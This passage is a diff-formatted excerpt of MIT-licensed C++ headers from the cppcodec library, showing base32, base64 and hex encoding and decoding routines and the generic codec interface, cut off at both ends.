|
template <typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void base32<CodecVariant>::decode_block(
|
||||||
|
Result& decoded, ResultState& state, const uint8_t* idx)
|
||||||
|
{
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[0] << 3) & 0xF8) | ((idx[1] >> 2) & 0x7)));
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[1] << 6) & 0xC0) | ((idx[2] << 1) & 0x3E) | ((idx[3] >> 4) & 0x1)));
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[3] << 4) & 0xF0) | ((idx[4] >> 1) & 0xF)));
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[4] << 7) & 0x80) | ((idx[5] << 2) & 0x7C) | ((idx[6] >> 3) & 0x3)));
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[6] << 5) & 0xE0) | (idx[7] & 0x1F)));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void base32<CodecVariant>::decode_tail(
|
||||||
|
Result& decoded, ResultState& state, const uint8_t* idx, size_t idx_len)
|
||||||
|
{
|
||||||
|
if (idx_len == 1) {
|
||||||
|
throw invalid_input_length(
|
||||||
|
"invalid number of symbols in last base32 block: found 1, expected 2, 4, 5 or 7");
|
||||||
|
}
|
||||||
|
if (idx_len == 3) {
|
||||||
|
throw invalid_input_length(
|
||||||
|
"invalid number of symbols in last base32 block: found 3, expected 2, 4, 5 or 7");
|
||||||
|
}
|
||||||
|
if (idx_len == 6) {
|
||||||
|
throw invalid_input_length(
|
||||||
|
"invalid number of symbols in last base32 block: found 6, expected 2, 4, 5 or 7");
|
||||||
|
}
|
||||||
|
|
||||||
|
// idx_len == 2: decoded size 1
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[0] << 3) & 0xF8) | ((idx[1] >> 2) & 0x7)));
|
||||||
|
if (idx_len == 2) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// idx_len == 4: decoded size 2
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[1] << 6) & 0xC0) | ((idx[2] << 1) & 0x3E) | ((idx[3] >> 4) & 0x1)));
|
||||||
|
if (idx_len == 4) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// idx_len == 5: decoded size 3
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[3] << 4) & 0xF0) | ((idx[4] >> 1) & 0xF)));
|
||||||
|
if (idx_len == 5) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// idx_len == 7: decoded size 4
|
||||||
|
put(decoded, state, static_cast<uint8_t>(((idx[4] << 7) & 0x80) | ((idx[5] << 2) & 0x7C) | ((idx[6] >> 3) & 0x3)));
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_DETAIL_BASE32
|
|
@ -0,0 +1,115 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* Copyright (C) 2013 Adam Rudd (bit calculations)
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*
|
||||||
|
* Bit calculations adapted from https://github.com/adamvr/arduino-base64,
|
||||||
|
* commit 999595783185a0afcba156d7276dfeaa9cb5382f.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_BASE64
|
||||||
|
#define CPPCODEC_DETAIL_BASE64
|
||||||
|
|
||||||
|
#include <stdexcept>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#include "../data/access.hpp"
|
||||||
|
#include "../parse_error.hpp"
|
||||||
|
#include "config.hpp"
|
||||||
|
#include "stream_codec.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
class base64 : public CodecVariant::template codec_impl<base64<CodecVariant>>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static inline constexpr uint8_t binary_block_size() { return 3; }
|
||||||
|
static inline constexpr uint8_t encoded_block_size() { return 4; }
|
||||||
|
|
||||||
|
static CPPCODEC_ALWAYS_INLINE constexpr uint8_t num_encoded_tail_symbols(uint8_t num_bytes)
|
||||||
|
{
|
||||||
|
return (num_bytes == 1) ? 2 // 2 symbols, 2 padding characters
|
||||||
|
: (num_bytes == 2) ? 3 // 3 symbols, 1 padding character
|
||||||
|
: throw std::domain_error("invalid number of bytes in a tail block");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <uint8_t I> CPPCODEC_ALWAYS_INLINE static constexpr uint8_t index(
|
||||||
|
const uint8_t* b /*binary block*/)
|
||||||
|
{
|
||||||
|
return (I == 0) ? (b[0] >> 2) // first 6 bits
|
||||||
|
: (I == 1) ? (((b[0] & 0x3) << 4) | (b[1] >> 4))
|
||||||
|
: (I == 2) ? (((b[1] & 0xF) << 2) | (b[2] >> 6))
|
||||||
|
: (I == 3) ? (b[2] & 0x3F) // last 6 bits
|
||||||
|
: throw std::domain_error("invalid encoding symbol index in a block");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <uint8_t I> CPPCODEC_ALWAYS_INLINE static constexpr uint8_t index_last(
|
||||||
|
const uint8_t* b /*binary block*/)
|
||||||
|
{
|
||||||
|
return (I == 1) ? ((b[0] & 0x3) << 4) // abbreviated 2nd symbol
|
||||||
|
: (I == 2) ? ((b[1] & 0xF) << 2) // abbreviated 3rd symbol
|
||||||
|
: throw std::domain_error("invalid last encoding symbol index in a tail");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
static void decode_block(Result& decoded, ResultState&, const uint8_t* idx);
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
static void decode_tail(Result& decoded, ResultState&, const uint8_t* idx, size_t idx_len);
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void base64<CodecVariant>::decode_block(
|
||||||
|
Result& decoded, ResultState& state, const uint8_t* idx)
|
||||||
|
{
|
||||||
|
data::put(decoded, state, static_cast<uint8_t>((idx[0] << 2) + ((idx[1] & 0x30) >> 4)));
|
||||||
|
data::put(decoded, state, static_cast<uint8_t>(((idx[1] & 0xF) << 4) + ((idx[2] & 0x3C) >> 2)));
|
||||||
|
data::put(decoded, state, static_cast<uint8_t>(((idx[2] & 0x3) << 6) + idx[3]));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void base64<CodecVariant>::decode_tail(
|
||||||
|
Result& decoded, ResultState& state, const uint8_t* idx, size_t idx_len)
|
||||||
|
{
|
||||||
|
if (idx_len == 1) {
|
||||||
|
throw invalid_input_length(
|
||||||
|
"invalid number of symbols in last base64 block: found 1, expected 2 or 3");
|
||||||
|
}
|
||||||
|
|
||||||
|
// idx_len == 2: decoded size 1
|
||||||
|
data::put(decoded, state, static_cast<uint8_t>((idx[0] << 2) + ((idx[1] & 0x30) >> 4)));
|
||||||
|
if (idx_len == 2) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// idx_len == 3: decoded size 2
|
||||||
|
data::put(decoded, state, static_cast<uint8_t>(((idx[1] & 0xF) << 4) + ((idx[2] & 0x3C) >> 2)));
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_DETAIL_BASE64
|
|
@ -0,0 +1,327 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_CODEC
|
||||||
|
#define CPPCODEC_DETAIL_CODEC
|
||||||
|
|
||||||
|
#include <assert.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#include "../data/access.hpp"
|
||||||
|
#include "../data/raw_result_buffer.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
// SFINAE: Templates sometimes beat sensible overloads - make sure we don't call the wrong one.
|
||||||
|
template <typename T>
|
||||||
|
struct non_numeric : std::enable_if<!std::is_arithmetic<T>::value> { };
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Public interface for all the codecs. For API documentation, see README.md.
|
||||||
|
*/
|
||||||
|
template <typename CodecImpl>
|
||||||
|
class codec
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//
|
||||||
|
// Encoding
|
||||||
|
|
||||||
|
// Convenient version, returns an std::string.
|
||||||
|
static std::string encode(const uint8_t* binary, size_t binary_size);
|
||||||
|
static std::string encode(const char* binary, size_t binary_size);
|
||||||
|
// static std::string encode(const T& binary); -> provided by template below
|
||||||
|
|
||||||
|
// Convenient version with templated result type.
|
||||||
|
template <typename Result> static Result encode(const uint8_t* binary, size_t binary_size);
|
||||||
|
template <typename Result> static Result encode(const char* binary, size_t binary_size);
|
||||||
|
template <typename Result = std::string, typename T = std::vector<uint8_t>>
|
||||||
|
static Result encode(const T& binary);
|
||||||
|
|
||||||
|
// Reused result container version. Resizes encoded_result before writing to it.
|
||||||
|
template <typename Result>
|
||||||
|
static void encode(Result& encoded_result, const uint8_t* binary, size_t binary_size);
|
||||||
|
template <typename Result>
|
||||||
|
static void encode(Result& encoded_result, const char* binary, size_t binary_size);
|
||||||
|
template <typename Result, typename T, typename non_numeric<T>::type* = nullptr>
|
||||||
|
static void encode(Result& encoded_result, const T& binary);
|
||||||
|
|
||||||
|
// Raw pointer output, assumes pre-allocated memory with size > encoded_size(binary_size).
|
||||||
|
static size_t encode(
|
||||||
|
char* encoded_result, size_t encoded_buffer_size,
|
||||||
|
const uint8_t* binary, size_t binary_size) noexcept;
|
||||||
|
static size_t encode(
|
||||||
|
char* encoded_result, size_t encoded_buffer_size,
|
||||||
|
const char* binary, size_t binary_size) noexcept;
|
||||||
|
template<typename T>
|
||||||
|
static size_t encode(
|
||||||
|
char* encoded_result, size_t encoded_buffer_size,
|
||||||
|
const T& binary) noexcept;
|
||||||
|
|
||||||
|
// Calculate the exact length of the encoded string based on binary size.
|
||||||
|
static constexpr size_t encoded_size(size_t binary_size) noexcept;
|
||||||
|
|
||||||
|
//
|
||||||
|
// Decoding
|
||||||
|
|
||||||
|
// Convenient version, returns an std::vector<uint8_t>.
|
||||||
|
static std::vector<uint8_t> decode(const char* encoded, size_t encoded_size);
|
||||||
|
// static std::vector<uint8_t> decode(const T& encoded); -> provided by template below
|
||||||
|
|
||||||
|
// Convenient version with templated result type.
|
||||||
|
template <typename Result> static Result decode(const char* encoded, size_t encoded_size);
|
||||||
|
template <typename Result = std::vector<uint8_t>, typename T = std::string>
|
||||||
|
static Result decode(const T& encoded);
|
||||||
|
|
||||||
|
// Reused result container version. Resizes binary_result before writing to it.
|
||||||
|
template <typename Result>
|
||||||
|
static void decode(Result& binary_result, const char* encoded, size_t encoded_size);
|
||||||
|
template <typename Result, typename T, typename non_numeric<T>::type* = nullptr>
|
||||||
|
static void decode(Result& binary_result, const T& encoded);
|
||||||
|
|
||||||
|
// Raw pointer output, assumes pre-allocated memory with size > decoded_max_size(encoded_size).
|
||||||
|
static size_t decode(
|
||||||
|
uint8_t* binary_result, size_t binary_buffer_size,
|
||||||
|
const char* encoded, size_t encoded_size);
|
||||||
|
static size_t decode(
|
||||||
|
char* binary_result, size_t binary_buffer_size,
|
||||||
|
const char* encoded, size_t encoded_size);
|
||||||
|
template<typename T> static size_t decode(
|
||||||
|
uint8_t* binary_result, size_t binary_buffer_size, const T& encoded);
|
||||||
|
template<typename T> static size_t decode(
|
||||||
|
char* binary_result, size_t binary_buffer_size, const T& encoded);
|
||||||
|
|
||||||
|
// Calculate the maximum size of the decoded binary buffer based on the encoded string length.
|
||||||
|
static constexpr size_t decoded_max_size(size_t encoded_size) noexcept;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
//
|
||||||
|
// Inline definitions of the above functions, using CRTP to call into CodecImpl
|
||||||
|
//
|
||||||
|
|
||||||
|
//
|
||||||
|
// Encoding
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline std::string codec<CodecImpl>::encode(const uint8_t* binary, size_t binary_size)
|
||||||
|
{
|
||||||
|
return encode<std::string>(binary, binary_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline std::string codec<CodecImpl>::encode(const char* binary, size_t binary_size)
|
||||||
|
{
|
||||||
|
return encode<std::string>(reinterpret_cast<const uint8_t*>(binary), binary_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result>
|
||||||
|
inline Result codec<CodecImpl>::encode(const uint8_t* binary, size_t binary_size)
|
||||||
|
{
|
||||||
|
Result encoded_result;
|
||||||
|
encode(encoded_result, binary, binary_size);
|
||||||
|
return encoded_result;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result>
|
||||||
|
inline Result codec<CodecImpl>::encode(const char* binary, size_t binary_size)
|
||||||
|
{
|
||||||
|
return encode<Result>(reinterpret_cast<const uint8_t*>(binary), binary_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result, typename T>
|
||||||
|
inline Result codec<CodecImpl>::encode(const T& binary)
|
||||||
|
{
|
||||||
|
return encode<Result>(data::uchar_data(binary), data::size(binary));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result>
|
||||||
|
inline void codec<CodecImpl>::encode(
|
||||||
|
Result& encoded_result, const uint8_t* binary, size_t binary_size)
|
||||||
|
{
|
||||||
|
// This overload is where we reserve buffer capacity and call into CodecImpl.
|
||||||
|
size_t encoded_buffer_size = encoded_size(binary_size);
|
||||||
|
auto state = data::create_state(encoded_result, data::specific_t());
|
||||||
|
data::init(encoded_result, state, encoded_buffer_size);
|
||||||
|
|
||||||
|
CodecImpl::encode(encoded_result, state, binary, binary_size);
|
||||||
|
data::finish(encoded_result, state);
|
||||||
|
assert(data::size(encoded_result) == encoded_buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result>
|
||||||
|
inline void codec<CodecImpl>::encode(
|
||||||
|
Result& encoded_result, const char* binary, size_t binary_size)
|
||||||
|
{
|
||||||
|
encode(encoded_result, reinterpret_cast<const uint8_t*>(binary), binary_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result, typename T, typename non_numeric<T>::type*>
|
||||||
|
inline void codec<CodecImpl>::encode(Result& encoded_result, const T& binary)
|
||||||
|
{
|
||||||
|
encode(encoded_result, data::uchar_data(binary), data::size(binary));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline size_t codec<CodecImpl>::encode(
|
||||||
|
char* encoded_result, size_t encoded_buffer_size,
|
||||||
|
const uint8_t* binary, size_t binary_size) noexcept
|
||||||
|
{
|
||||||
|
// This overload is where we wrap the result pointer & size.
|
||||||
|
data::raw_result_buffer encoded(encoded_result, encoded_buffer_size);
|
||||||
|
encode(encoded, binary, binary_size);
|
||||||
|
|
||||||
|
size_t encoded_size = data::size(encoded);
|
||||||
|
if (encoded_size < encoded_buffer_size) {
|
||||||
|
encoded_result[encoded_size] = '\0';
|
||||||
|
}
|
||||||
|
return encoded_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline size_t codec<CodecImpl>::encode(
|
||||||
|
char* encoded_result, size_t encoded_buffer_size,
|
||||||
|
const char* binary, size_t binary_size) noexcept
|
||||||
|
{
|
||||||
|
// This overload is where we wrap the result pointer & size.
|
||||||
|
return encode(encoded_result, encoded_buffer_size,
|
||||||
|
reinterpret_cast<const uint8_t*>(binary), binary_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename T>
|
||||||
|
inline size_t codec<CodecImpl>::encode(
|
||||||
|
char* encoded_result, size_t encoded_buffer_size,
|
||||||
|
const T& binary) noexcept
|
||||||
|
{
|
||||||
|
return encode(encoded_result, encoded_buffer_size, data::uchar_data(binary), data::size(binary));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline constexpr size_t codec<CodecImpl>::encoded_size(size_t binary_size) noexcept
|
||||||
|
{
|
||||||
|
return CodecImpl::encoded_size(binary_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//
|
||||||
|
// Decoding
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline std::vector<uint8_t> codec<CodecImpl>::decode(const char* encoded, size_t encoded_size)
|
||||||
|
{
|
||||||
|
return decode<std::vector<uint8_t>>(encoded, encoded_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result>
|
||||||
|
inline Result codec<CodecImpl>::decode(const char* encoded, size_t encoded_size)
|
||||||
|
{
|
||||||
|
Result result;
|
||||||
|
decode(result, encoded, encoded_size);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result, typename T>
|
||||||
|
inline Result codec<CodecImpl>::decode(const T& encoded)
|
||||||
|
{
|
||||||
|
return decode<Result>(data::char_data(encoded), data::size(encoded));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result>
|
||||||
|
inline void codec<CodecImpl>::decode(Result& binary_result, const char* encoded, size_t encoded_size)
|
||||||
|
{
|
||||||
|
// This overload is where we reserve buffer capacity and call into CodecImpl.
|
||||||
|
size_t binary_buffer_size = decoded_max_size(encoded_size);
|
||||||
|
auto state = data::create_state(binary_result, data::specific_t());
|
||||||
|
data::init(binary_result, state, binary_buffer_size);
|
||||||
|
|
||||||
|
CodecImpl::decode(binary_result, state, encoded, encoded_size);
|
||||||
|
data::finish(binary_result, state);
|
||||||
|
assert(data::size(binary_result) <= binary_buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename Result, typename T, typename non_numeric<T>::type*>
|
||||||
|
inline void codec<CodecImpl>::decode(Result& binary_result, const T& encoded)
|
||||||
|
{
|
||||||
|
decode(binary_result, data::char_data(encoded), data::size(encoded));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline size_t codec<CodecImpl>::decode(
|
||||||
|
uint8_t* binary_result, size_t binary_buffer_size,
|
||||||
|
const char* encoded, size_t encoded_size)
|
||||||
|
{
|
||||||
|
return decode(reinterpret_cast<char*>(binary_result), binary_buffer_size, encoded, encoded_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline size_t codec<CodecImpl>::decode(
|
||||||
|
char* binary_result, size_t binary_buffer_size,
|
||||||
|
const char* encoded, size_t encoded_size)
|
||||||
|
{
|
||||||
|
// This overload is where we wrap the result pointer & size.
|
||||||
|
data::raw_result_buffer binary(binary_result, binary_buffer_size);
|
||||||
|
decode(binary, encoded, encoded_size);
|
||||||
|
return data::size(binary);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename T>
|
||||||
|
inline size_t codec<CodecImpl>::decode(
|
||||||
|
uint8_t* binary_result, size_t binary_buffer_size, const T& encoded)
|
||||||
|
{
|
||||||
|
return decode(reinterpret_cast<char*>(binary_result), binary_buffer_size, encoded);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
template <typename T>
|
||||||
|
inline size_t codec<CodecImpl>::decode(char* binary_result, size_t binary_buffer_size, const T& encoded)
|
||||||
|
{
|
||||||
|
return decode(binary_result, binary_buffer_size, data::char_data(encoded), data::size(encoded));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecImpl>
|
||||||
|
inline constexpr size_t codec<CodecImpl>::decoded_max_size(size_t encoded_size) noexcept
|
||||||
|
{
|
||||||
|
return CodecImpl::decoded_max_size(encoded_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,38 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_CONFIG_HPP
|
||||||
|
#define CPPCODEC_DETAIL_CONFIG_HPP
|
||||||
|
|
||||||
|
#ifndef __has_attribute
|
||||||
|
#define __has_attribute(x) 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if __GNUC__ || __has_attribute(always_inline)
|
||||||
|
#define CPPCODEC_ALWAYS_INLINE inline __attribute__((always_inline))
|
||||||
|
#else
|
||||||
|
#define CPPCODEC_ALWAYS_INLINE inline
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // CPPCODEC_DETAIL_CONFIG_HPP
|
||||||
|
|
|
@ -0,0 +1,115 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_HEX
|
||||||
|
#define CPPCODEC_DETAIL_HEX
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h> // for abort()
|
||||||
|
|
||||||
|
#include "../data/access.hpp"
|
||||||
|
#include "../parse_error.hpp"
|
||||||
|
#include "stream_codec.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
class hex_base
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static inline constexpr uint8_t index_of(char c)
|
||||||
|
{
|
||||||
|
// Hex decoding is always case-insensitive (even in RFC 4648),
|
||||||
|
// it's only a question of what we want to encode ourselves.
|
||||||
|
return (c >= '0' && c <= '9') ? (c - '0')
|
||||||
|
: (c >= 'A' && c <= 'F') ? (c - 'A' + 10)
|
||||||
|
: (c >= 'a' && c <= 'f') ? (c - 'a' + 10)
|
||||||
|
: (c == '\0') ? 255 // stop at end of string
|
||||||
|
: throw symbol_error(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
// RFC4648 does not specify any whitespace being allowed in base64 encodings.
|
||||||
|
static inline constexpr bool should_ignore(uint8_t /*index*/) { return false; }
|
||||||
|
static inline constexpr bool is_special_character(uint8_t index) { return index > 64; }
|
||||||
|
static inline constexpr bool is_eof(uint8_t index) { return index == 255; }
|
||||||
|
|
||||||
|
static inline constexpr bool generates_padding() { return false; }
|
||||||
|
// FIXME: doesn't require padding, but requires a multiple of the encoded block size (2)
|
||||||
|
static inline constexpr bool requires_padding() { return false; }
|
||||||
|
static inline constexpr bool is_padding_symbol(uint8_t /*index*/) { return false; }
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
class hex : public CodecVariant::template codec_impl<hex<CodecVariant>>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static inline constexpr uint8_t binary_block_size() { return 1; }
|
||||||
|
static inline constexpr uint8_t encoded_block_size() { return 2; }
|
||||||
|
|
||||||
|
static CPPCODEC_ALWAYS_INLINE constexpr uint8_t num_encoded_tail_symbols(uint8_t /*num_bytes*/) noexcept
|
||||||
|
{
|
||||||
|
return true ? 0 : throw std::domain_error("no tails in hex encoding, should never be called");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <uint8_t I> CPPCODEC_ALWAYS_INLINE static constexpr uint8_t index(
|
||||||
|
const uint8_t* b /*binary block*/) noexcept
|
||||||
|
{
|
||||||
|
return (I == 0) ? (b[0] >> 4) // first 4 bits
|
||||||
|
: (I == 1) ? (b[0] & 0xF) // last 4 bits
|
||||||
|
: throw std::domain_error("invalid encoding symbol index in a block");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <uint8_t I> CPPCODEC_ALWAYS_INLINE static constexpr uint8_t index_last(
|
||||||
|
